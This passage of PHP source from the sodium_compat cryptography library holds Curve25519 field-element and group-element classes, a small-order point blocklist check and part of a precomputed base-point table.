                0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0x7a
            ),
            /* p-1 (order 2) */
            array(
                0x13, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0,
                0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0,
                0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39,
                0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x85
            ),
            /* p (order 4) */
            array(
                0xb4, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f,
                0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f,
                0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6,
                0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0xfa
            ),
            /* p+1 (order 1) */
            array(
                0xec, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* p+2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */
            array(
                0xed, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* p+55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */
            array(
                0xee, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* 2p-1 (order 2) */
            array(
                0xd9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            ),
            /* 2p (order 4) */
            array(
                0xda, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            ),
            /* 2p+1 (order 1) */
            array(
                0xdb, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            )
        );
        /** @var array<int, array<int, int>> $blocklist */
        $countBlocklist = count($blocklist);

        for ($i = 0; $i < $countBlocklist; ++$i) {
            $c = 0;
            for ($j = 0; $j < 32; ++$j) {
                $c |= self::chrToInt($R[$j]) ^ $blocklist[$i][$j];
            }
            if ($c === 0) {
                return true;
            }
        }
        return false;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Fe', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Fe
 *
 * This represents a Field Element
 */
class ParagonIE_Sodium_Core32_Curve25519_Fe implements ArrayAccess
{
    /**
     * @var array<int, ParagonIE_Sodium_Core32_Int32>
     */
    protected $container = array();

    /**
     * @var int
     */
    protected $size = 10;

    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, ParagonIE_Sodium_Core32_Int32> $array
     * @param bool $save_indexes
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromArray($array, $save_indexes = null)
    {
        $count = count($array);
        if ($save_indexes) {
            $keys = array_keys($array);
        } else {
            $keys = range(0, $count - 1);
        }
        $array = array_values($array);

        $obj = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        if ($save_indexes) {
            for ($i = 0; $i < $count; ++$i) {
                $array[$i]->overflow = 0;
                $obj->offsetSet($keys[$i], $array[$i]);
            }
        } else {
            for ($i = 0; $i < $count; ++$i) {
                if (!($array[$i] instanceof ParagonIE_Sodium_Core32_Int32)) {
                    throw new TypeError('Expected ParagonIE_Sodium_Core32_Int32');
                }
                $array[$i]->overflow = 0;
                $obj->offsetSet($i, $array[$i]);
            }
        }
        return $obj;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, int> $array
     * @param bool $save_indexes
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromIntArray($array, $save_indexes = null)
    {
        $count = count($array);
        if ($save_indexes) {
            $keys = array_keys($array);
        } else {
            $keys = range(0, $count - 1);
        }
        $array = array_values($array);
        $set = array();
        /** @var int $i */
        /** @var int $v */
        foreach ($array as $i => $v) {
            $set[$i] = ParagonIE_Sodium_Core32_Int32::fromInt($v);
        }

        $obj = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        if ($save_indexes) {
            for ($i = 0; $i < $count; ++$i) {
                $set[$i]->overflow = 0;
                $obj->offsetSet($keys[$i], $set[$i]);
            }
        } else {
            for ($i = 0; $i < $count; ++$i) {
                $set[$i]->overflow = 0;
                $obj->offsetSet($i, $set[$i]);
            }
        }
        return $obj;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @param mixed $value
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    #[ReturnTypeWillChange]
    public function offsetSet($offset, $value)
    {
        if (!($value instanceof ParagonIE_Sodium_Core32_Int32)) {
            throw new InvalidArgumentException('Expected an instance of ParagonIE_Sodium_Core32_Int32');
        }
        if (is_null($offset)) {
            $this->container[] = $value;
        } else {
            ParagonIE_Sodium_Core32_Util::declareScalarType($offset, 'int', 1);
            $this->container[(int) $offset] = $value;
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return bool
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetExists($offset)
    {
        return isset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetUnset($offset)
    {
        unset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return ParagonIE_Sodium_Core32_Int32
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetGet($offset)
    {
        if (!isset($this->container[$offset])) {
            $this->container[(int) $offset] = new ParagonIE_Sodium_Core32_Int32();
        }
        /** @var ParagonIE_Sodium_Core32_Int32 $get */
        $get = $this->container[$offset];
        return $get;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return array
     */
    public function __debugInfo()
    {
        if (empty($this->container)) {
            return array();
        }
        $c = array(
            (int) ($this->container[0]->toInt()),
            (int) ($this->container[1]->toInt()),
            (int) ($this->container[2]->toInt()),
            (int) ($this->container[3]->toInt()),
            (int) ($this->container[4]->toInt()),
            (int) ($this->container[5]->toInt()),
            (int) ($this->container[6]->toInt()),
            (int) ($this->container[7]->toInt()),
            (int) ($this->container[8]->toInt()),
            (int) ($this->container[9]->toInt())
        );
        return array(implode(', ', $c));
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_P2', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_P2
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_P2
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_P2 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $z
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $z = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Z = $z;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_P3', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_P3
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_P3
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_P3 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $t
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $z = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $t = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Z = $z;
        if ($t === null) {
            $t = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->T = $t;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1', false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $t
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $z = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $t = null
    ) {
        if ($x === null) {
            $x = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->X = $x;
        if ($y === null) {
            $y = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->Z = $z;
        if ($t === null) {
            $t = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->T = $t;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $yplusx;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $yminusx;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $xy2d;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $yplusx
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $yminusx
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $xy2d
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $yplusx = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $yminusx = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $xy2d = null
    ) {
        if ($yplusx === null) {
            $yplusx = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->yplusx = $yplusx;
        if ($yminusx === null) {
            $yminusx = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->yminusx = $yminusx;
        if ($xy2d === null) {
            $xy2d = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->xy2d = $xy2d;
    }
}
<?php


if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_Cached', false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_Cached
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_Cached
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $YplusX;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $YminusX;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $T2d;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_Cached constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $YplusX
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $YminusX
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $Z
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $T2d
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $YplusX = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $YminusX = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $Z = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $T2d = null
    ) {
        if ($YplusX === null) {
            $YplusX = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->YplusX = $YplusX;
        if ($YminusX === null) {
            $YminusX = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->YminusX = $YminusX;
        if ($Z === null) {
            $Z = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Z = $Z;
        if ($T2d === null) {
            $T2d = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->T2d = $T2d;
    }
}
# Curve25519 Data Structures

These are PHP implementation of the [structs used in the ref10 curve25519 code](https://github.com/jedisct1/libsodium/blob/master/src/libsodium/include/sodium/private/curve25519_ref10.h).
<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_H', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_H
 *
 * This just contains the constants in the ref10/base.h file
 */
class ParagonIE_Sodium_Core32_Curve25519_H extends ParagonIE_Sodium_Core32_Util
{
    /**
     * See: libsodium's crypto_core/curve25519/ref10/base.h
     *
     * @var array<int, array<int, array<int, array<int, int>>>> Basically, int[32][8][3][10]
     */
    protected static $base = array(
        array(
            array(
                array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605),
                array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378),
                array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546),
            ),
            array(
                array(-12815894, -12976347, -21581243, 11784320, -25355658, -2750717, -11717903, -3814571, -358445, -10211303),
                array(-21703237, 6903825, 27185491, 6451973, -29577724, -9554005, -15616551, 11189268, -26829678, -5319081),
                array(26966642, 11152617, 32442495, 15396054, 14353839, -12752335, -3128826, -9541118, -15472047, -4166697),
            ),
            array(
                array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024),
                array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574),
                array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357),
            ),
            array(
                array(-17036878, 13921892, 10945806, -6033431, 27105052, -16084379, -28926210, 15006023, 3284568, -6276540),
                array(23599295, -8306047, -11193664, -7687416, 13236774, 10506355, 7464579, 9656445, 13059162, 10374397),
                array(7798556, 16710257, 3033922, 2874086, 28997861, 2835604, 32406664, -3839045, -641708, -101325),
            ),
            array(
                array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380),
                array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306),
                array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942),
            ),
            array(
                array(-15371964, -12862754, 32573250, 4720197, -26436522, 5875511, -19188627, -15224819, -9818940, -12085777),
                array(-8549212, 109983, 15149363, 2178705, 22900618, 4543417, 3044240, -15689887, 1762328, 14866737),
                array(-18199695, -15951423, -10473290, 1707278, -17185920, 3916101, -28236412, 3959421, 27914454, 4383652),
            ),
            array(
                array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766),
                array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701),
                array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300),
            ),
            array(
                array(14499471, -2729599, -33191113, -4254652, 28494862, 14271267, 30290735, 10876454, -33154098, 2381726),
                array(-7195431, -2655363, -14730155, 462251, -27724326, 3941372, -6236617, 3696005, -32300832, 15351955),
                array(27431194, 8222322, 16448760, -3907995, -18707002, 11938355, -32961401, -2970515, 29551813, 10109425),
            ),
        ),
        array(
            array(
                array(-13657040, -13155431, -31283750, 11777098, 21447386, 6519384, -2378284, -1627556, 10092783, -4764171),
                array(27939166, 14210322, 4677035, 16277044, -22964462, -12398139, -32508754, 12005538, -17810127, 12803510),
                array(17228999, -15661624, -1233527, 300140, -1224870, -11714777, 30364213, -9038194, 18016357, 4397660),
            ),
            array(
                array(-10958843, -7690207, 4776341, -14954238, 27850028, -15602212, -26619106, 14544525, -17477504, 982639),
                array(29253598, 15796703, -2863982, -9908884, 10057023, 3163536, 7332899, -4120128, -21047696, 9934963),
                array(5793303, 16271923, -24131614, -10116404, 29188560, 1206517, -14747930, 4559895, -30123922, -10897950),
            ),
            array(
                array(-27643952, -11493006, 16282657, -11036493, 28414021, -15012264, 24191034, 4541697, -13338309, 5500568),
                array(12650548, -1497113, 9052871, 11355358, -17680037, -8400164, -17430592, 12264343, 10874051, 13524335),
                array(25556948, -3045990, 714651, 2510400, 23394682, -10415330, 33119038, 5080568, -22528059, 5376628),
            ),
            array(
                array(-26088264, -4011052, -17013699, -3537628, -6726793, 1920897, -22321305, -9447443, 4535768, 1569007),
                array(-2255422, 14606630, -21692440, -8039818, 28430649, 8775819, -30494562, 3044290, 31848280, 12543772),
                array(-22028579, 2943893, -31857513, 6777306, 13784462, -4292203, -27377195, -2062731, 7718482, 14474653),
            ),
            array(
                array(2385315, 2454213, -22631320, 46603, -4437935, -15680415, 656965, -7236665, 24316168, -5253567),
                array(13741529, 10911568, -33233417, -8603737, -20177830, -1033297, 33040651, -13424532, -20729456, 8321686),
                array(21060490, -2212744, 15712757, -4336099, 1639040, 10656336, 23845965, -11874838, -9984458, 608372),
            ),
            array(
                array(-13672732, -15087586, -10889693, -7557059, -6036909, 11305547, 1123968, -6780577, 27229399, 23887),
                array(-23244140, -294205, -11744728, 14712571, -29465699, -2029617, 12797024, -6440308, -1633405, 16678954),
                array(-29500620, 4770662, -16054387, 14001338, 7830047, 9564805, -1508144, -4795045, -17169265, 4904953),
            ),
            array(
                array(24059557, 14617003, 19037157, -15039908, 19766093, -14906429, 5169211, 16191880, 2128236, -4326833),
                array(-16981152, 4124966, -8540610, -10653797, 30336522, -14105247, -29806336, 916033, -6882542, -2986532),
                array(-22630907, 12419372, -7134229, -7473371, -16478904, 16739175, 285431, 2763829, 15736322, 4143876),
            ),
            array(
                array(2379352, 11839345, -4110402, -5988665, 11274298, 794957, 212801, -14594663, 23527084, -16458268),
                array(33431127, -11130478, -17838966, -15626900, 8909499, 8376530, -32625340, 4087881, -15188911, -14416214),
                array(1767683, 7197987, -13205226, -2022635, -13091350, 448826, 5799055, 4357868, -4774191, -16323038),
            ),
        ),
        array(
            array(
                array(6721966, 13833823, -23523388, -1551314, 26354293, -11863321, 23365147, -3949732, 7390890, 2759800),
                array(4409041, 2052381, 23373853, 10530217, 7676779, -12885954, 21302353, -4264057, 1244380, -12919645),
                array(-4421239, 7169619, 4982368, -2957590, 30256825, -2777540, 14086413, 9208236, 15886429, 16489664),
            ),
            array(
                array(1996075, 10375649, 14346367, 13311202, -6874135, -16438411, -13693198, 398369, -30606455, -712933),
                array(-25307465, 9795880, -2777414, 14878809, -33531835, 14780363, 13348553, 12076947, -30836462, 5113182),
                array(-17770784, 11797796, 31950843, 13929123, -25888302, 12288344, -30341101, -7336386, 13847711, 5387222),
            ),
            array(
                array(-18582163, -3416217, 17824843, -2340966, 22744343, -10442611, 8763061, 3617786, -19600662, 10370991),
                array(20246567, -14369378, 22358229, -543712, 18507283, -10413996, 14554437, -8746092, 32232924, 16763880),
                array(9648505, 10094563, 26416693, 14745928, -30374318, -6472621, 11094161, 15689506, 3140038, -16510092),
            ),
            array(
                array(-16160072, 5472695, 31895588, 4744994, 8823515, 10365685, -27224800, 9448613, -28774454, 366295),
                array(19153450, 11523972, -11096490, -6503142, -24647631, 5420647, 28344573, 8041113, 719605, 11671788),
                array(8678025, 2694440, -6808014, 2517372, 4964326, 11152271, -15432916, -15266516, 27000813, -10195553),
            ),
            array(
                array(-15157904, 7134312, 8639287, -2814877, -7235688, 10421742, 564065, 5336097, 6750977, -14521026),
                array(11836410, -3979488, 26297894, 16080799, 23455045, 15735944, 1695823, -8819122, 8169720, 16220347),
                array(-18115838, 8653647, 17578566, -6092619, -8025777, -16012763, -11144307, -2627664, -5990708, -14166033),
            ),
            array(
                array(-23308498, -10968312, 15213228, -10081214, -30853605, -11050004, 27884329, 2847284, 2655861, 1738395),
                array(-27537433, -14253021, -25336301, -8002780, -9370762, 8129821, 21651608, -3239336, -19087449, -11005278),
                array(1533110, 3437855, 23735889, 459276, 29970501, 11335377, 26030092, 5821408, 10478196, 8544890),
            ),
            array(
                array(32173121, -16129311, 24896207, 3921497, 22579056, -3410854, 19270449, 12217473, 17789017, -3395995),
                array(-30552961, -2228401, -15578829, -10147201, 13243889, 517024, 15479401, -3853233, 30460520, 1052596),
                array(-11614875, 13323618, 32618793, 8175907, -15230173, 12596687, 27491595, -4612359, 3179268, -9478891),
            ),
            array(
                array(31947069, -14366651, -4640583, -15339921, -15125977, -6039709, -14756777, -16411740, 19072640, -9511060),
                array(11685058, 11822410, 3158003, -13952594, 33402194, -4165066, 5977896, -5215017, 473099, 5040608),
                array(-20290863, 8198642, -27410132, 11602123, 1290375, -2799760, 28326862, 1721092, -19558642, -3131606),
            ),
        ),
        array(
            array(
                array(7881532, 10687937, 7578723, 7738378, -18951012, -2553952, 21820786, 8076149, -27868496, 11538389),
                array(-19935666, 3899861, 18283497, -6801568, -15728660, -11249211, 8754525, 7446702, -5676054, 5797016),
                array(-11295600, -3793569, -15782110, -7964573, 12708869, -8456199, 2014099, -9050574, -2369172, -5877341),
            ),
            array(
                array(-22472376, -11568741, -27682020, 1146375, 18956691, 16640559, 1192730, -3714199, 15123619, 10811505),
                array(14352098, -3419715, -18942044, 10822655, 32750596, 4699007, -70363, 15776356, -28886779, -11974553),
                array(-28241164, -8072475, -4978962, -5315317, 29416931, 1847569, -20654173, -16484855, 4714547, -9600655),
            ),
            array(
                array(15200332, 8368572, 19679101, 15970074, -31872674, 1959451, 24611599, -4543832, -11745876, 12340220),
                array(12876937, -10480056, 33134381, 6590940, -6307776, 14872440, 9613953, 8241152, 15370987, 9608631),
                array(-4143277, -12014408, 8446281, -391603, 4407738, 13629032, -7724868, 15866074, -28210621, -8814099),
            ),
            array(
                array(26660628, -15677655, 8393734, 358047, -7401291, 992988, -23904233, 858697, 20571223, 8420556),
                array(14620715, 13067227, -15447274, 8264467, 14106269, 15080814, 33531827, 12516406, -21574435, -12476749),
                array(236881, 10476226, 57258, -14677024, 6472998, 2466984, 17258519, 7256740, 8791136, 15069930),
            ),
            array(
                array(1276410, -9371918, 22949635, -16322807, -23493039, -5702186, 14711875, 4874229, -30663140, -2331391),
                array(5855666, 4990204, -13711848, 7294284, -7804282, 1924647, -1423175, -7912378, -33069337, 9234253),
                array(20590503, -9018988, 31529744, -7352666, -2706834, 10650548, 31559055, -11609587, 18979186, 13396066),
            ),
            array(
                array(24474287, 4968103, 22267082, 4407354, 24063882, -8325180, -18816887, 13594782, 33514650, 7021958),
                array(-11566906, -6565505, -21365085, 15928892, -26158305, 4315421, -25948728, -3916677, -21480480, 12868082),
                array(-28635013, 13504661, 19988037, -2132761, 21078225, 6443208, -21446107, 2244500, -12455797, -8089383),
            ),
            array(
                array(-30595528, 13793479, -5852820, 319136, -25723172, -6263899, 33086546, 8957937, -15233648, 5540521),
                array(-11630176, -11503902, -8119500, -7643073, 2620056, 1022908, -23710744, -1568984, -16128528, -14962807),
                array(23152971, 775386, 27395463, 14006635, -9701118, 4649512, 1689819, 892185, -11513277, -15205948),
            ),
            array(
                array(9770129, 9586738, 26496094, 4324120, 1556511, -3550024, 27453819, 4763127, -19179614, 5867134),
                array(-32765025, 1927590, 31726409, -4753295, 23962434, -16019500, 27846559, 5931263, -29749703, -16108455),
                array(27461885, -2977536, 22380810, 1815854, -23033753, -3031938, 7283490, -15148073, -19526700, 7734629),
            ),
        ),
        array(
            array(
                array(-8010264, -9590817, -11120403, 6196038, 29344158, -13430885, 7585295, -3176626, 18549497, 15302069),
                array(-32658337, -6171222, -7672793, -11051681, 6258878, 13504381, 10458790, -6418461, -8872242, 8424746),
                array(24687205, 8613276, -30667046, -3233545, 1863892, -1830544, 19206234, 7134917, -11284482, -828919),
            ),
            array(
                array(11334899, -9218022, 8025293, 12707519, 17523892, -10476071, 10243738, -14685461, -5066034, 16498837),
                array(8911542, 6887158, -9584260, -6958590, 11145641, -9543680, 17303925, -14124238, 6536641, 10543906),
                array(-28946384, 15479763, -17466835, 568876, -1497683, 11223454, -2669190, -16625574, -27235709, 8876771),
            ),
            array(
                array(-25742899, -12566864, -15649966, -846607, -33026686, -796288, -33481822, 15824474, -604426, -9039817),
                array(10330056, 70051, 7957388, -9002667, 9764902, 15609756, 27698697, -4890037, 1657394, 3084098),
                array(10477963, -7470260, 12119566, -13250805, 29016247, -5365589, 31280319, 14396151, -30233575, 15272409),
            ),
            array(
                array(-12288309, 3169463, 28813183, 16658753, 25116432, -5630466, -25173957, -12636138, -25014757, 1950504),
                array(-26180358, 9489187, 11053416, -14746161, -31053720, 5825630, -8384306, -8767532, 15341279, 8373727),
                array(28685821, 7759505, -14378516, -12002860, -31971820, 4079242, 298136, -10232602, -2878207, 15190420),
            ),
            array(
                array(-32932876, 13806336, -14337485, -15794431, -24004620, 10940928, 8669718, 2742393, -26033313, -6875003),
                array(-1580388, -11729417, -25979658, -11445023, -17411874, -10912854, 9291594, -16247779, -12154742, 6048605),
                array(-30305315, 14843444, 1539301, 11864366, 20201677, 1900163, 13934231, 5128323, 11213262, 9168384),
            ),
            array(
                array(-26280513, 11007847, 19408960, -940758, -18592965, -4328580, -5088060, -11105150, 20470157, -16398701),
                array(-23136053, 9282192, 14855179, -15390078, -7362815, -14408560, -22783952, 14461608, 14042978, 5230683),
                array(29969567, -2741594, -16711867, -8552442, 9175486, -2468974, 21556951, 3506042, -5933891, -12449708),
            ),
            array(
                array(-3144746, 8744661, 19704003, 4581278, -20430686, 6830683, -21284170, 8971513, -28539189, 15326563),
                array(-19464629, 10110288, -17262528, -3503892, -23500387, 1355669, -15523050, 15300988, -20514118, 9168260),
                array(-5353335, 4488613, -23803248, 16314347, 7780487, -15638939, -28948358, 9601605, 33087103, -9011387),
            ),
            array(
